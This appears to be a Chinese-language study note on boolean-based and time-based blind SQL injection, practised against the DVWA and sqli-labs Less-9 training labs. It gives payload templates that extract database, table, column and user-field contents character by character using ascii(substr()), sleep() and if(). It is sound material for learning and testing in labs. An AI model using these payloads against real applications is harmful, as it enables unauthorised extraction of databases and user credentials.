首先還是寫一下核心的語句吧。
information_schema
schemata(schema_name)
tables(table_schema,table_name)
columns(table_schema,table_name,column_name)
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema='dvwa';
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';
select concat(username,password) from dvwa.users;
布爾盲注
在SQL注入過程中,應用界面僅僅返回True(頁面)或者False(頁面)。無法根據應用程序的返回頁面得到需要的數據庫信息。可以通過構造邏輯判斷(比較大小)來得到需要的信息。
-select id,name from product where id=1 and 1=1
布爾型盲注步驟和語句
1.判斷當前數據庫名長度與數據庫名稱
and select length(database())>n //判斷數據庫名長度
and ascii(substr(database(),m,1))>n //截取數據庫名第m個字符並轉換成ascii碼 判斷具體值
2.判斷數據庫的表長度與表名
and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))>n //判斷第一行表名的長度
and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1))>n //截取第一行表名的第m個字符串轉換為ascii值判斷具體為多少
3.判斷數據庫的字段名長度與字段名稱
and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>n //判斷表名中字段名的長度
adn ascii((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1))>n //截取表中字段的第m字符串轉換為ascii值,判斷具體值
4.判斷字段的內容長度與內容字符串
and length((select user from users limit 0,1)) >1 //判斷字符串內容長度
and ascii(substr((select user from users limit 0,1),m,1)) //截取第m個字符串轉換為ascii值
時間盲注
在SQL注入過程中,無論注入是否成功,頁面完全沒有變化。此時只能通過使用數據庫的延時函數來判斷注入點一般采用響應時間上的差異來判斷是否存在SQL注入,即基於時間型的SQL盲注
- select id,name from product where id=1 and sleep(2)
基於時間盲注sleep函數
-在mysql下,sleep的語法如下:sleep(seconds)即sleep函數代碼執行延遲若干秒
-sleep()函數執行是有條件的,必須保障sql語句執行結果存在數據記錄才會停止指定的秒數,如果sql語句查詢結果為空,那么sleep函數不會停止
觀察以下語句
第一個語句:sleep函數設置查詢停留3s, sleep函數本身返回值為0,顯示查詢時間為3s
第二個語句:語句最后加上and 1=2 形成查詢邏輯錯誤,sleep函數不執行暫停,因此查詢時間為0s
基於時間盲注if函數
邏輯判斷函數if()
if(expr1,expr2,expr3) 如果expr1為真,則if函數執行expr2語句,否則if函數執行expr3語句
-select user from users where uer_id=1 and1=if(ascii(substr(database(),1,1))>1,sleep(5),1);
此處 如果條件ascii(substr(database(),1,1))>1成立則執行sleep(5),否則執行1
基於時間的盲注案例(sqli-lab less-9)
枚舉當前數據庫名
- id =1' and sleep(3) and ascii(substr(database(),m,1))>n --+
枚舉當前數據庫的表名
- id =1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+
或者利用if函數
- id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+
枚舉當前數據庫表的字段名
- id =1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+
枚舉每個字段對應的數據項內容
- id =1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+